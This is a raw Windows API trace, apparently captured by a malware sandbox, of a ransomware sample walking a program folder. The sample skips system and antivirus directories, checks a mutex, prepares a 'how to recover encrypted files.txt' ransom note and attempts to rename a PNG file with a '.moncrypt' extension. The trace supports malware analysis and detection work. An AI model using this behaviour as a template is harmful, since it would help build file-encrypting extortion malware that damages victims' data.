lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.628] GetLastError () returned 0x2 [0057.628] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0057.630] GetLastError () returned 0x2 [0057.630] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.630] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.630] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.630] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.630] GlobalUnlock (hMem=0x44000c) returned 0 [0057.630] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.631] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.631] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.631] GlobalUnlock (hMem=0x44000c) returned 0 [0057.631] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.631] GlobalUnlock (hMem=0x440004) returned 0 [0057.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.631] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.631] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.631] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.631] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.631] GlobalLock (hMem=0x440004) returned 0x550170 [0057.631] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.631] GlobalUnlock (hMem=0x440004) returned 0 [0057.631] GlobalLock (hMem=0x440004) returned 0x550170 [0057.631] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.631] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.631] GlobalUnlock (hMem=0x440004) returned 0 [0057.631] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.631] GlobalUnlock (hMem=0x44000c) returned 0 [0057.631] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.632] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", cchLength=0x31 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\") returned 0x31 [0057.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.632] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.632] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.632] GlobalUnlock (hMem=0x44000c) returned 0 [0057.632] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.632] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.632] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.632] GlobalUnlock (hMem=0x44000c) returned 0 [0057.632] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.632] GlobalUnlock (hMem=0x440004) returned 0 [0057.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.633] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.633] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.633] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.633] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.633] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.633] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.633] GlobalUnlock (hMem=0x440004) returned 0 [0057.634] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.634] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.634] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.634] GlobalUnlock (hMem=0x440004) returned 0 [0057.634] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.634] GlobalUnlock (hMem=0x44000c) returned 0 [0057.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.634] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.634] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.634] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\1047x576black.pnge", lpUsedDefaultChar=0x0) returned 4 [0057.635] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.635] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.636] CloseHandle (hObject=0x18c) returned 1 [0057.636] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\я")) returned 1 [0057.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0057.637] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.637] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.637] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.637] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0057.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.638] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.moncrypt")) returned 0 [0057.639] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0057.639] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.639] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.639] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.639] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.639] GlobalUnlock (hMem=0x44000c) returned 0 [0057.639] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.639] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.639] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.639] GlobalUnlock (hMem=0x44000c) returned 0 [0057.639] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.639] GlobalUnlock (hMem=0x440004) returned 0 [0057.639] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.639] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0057.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 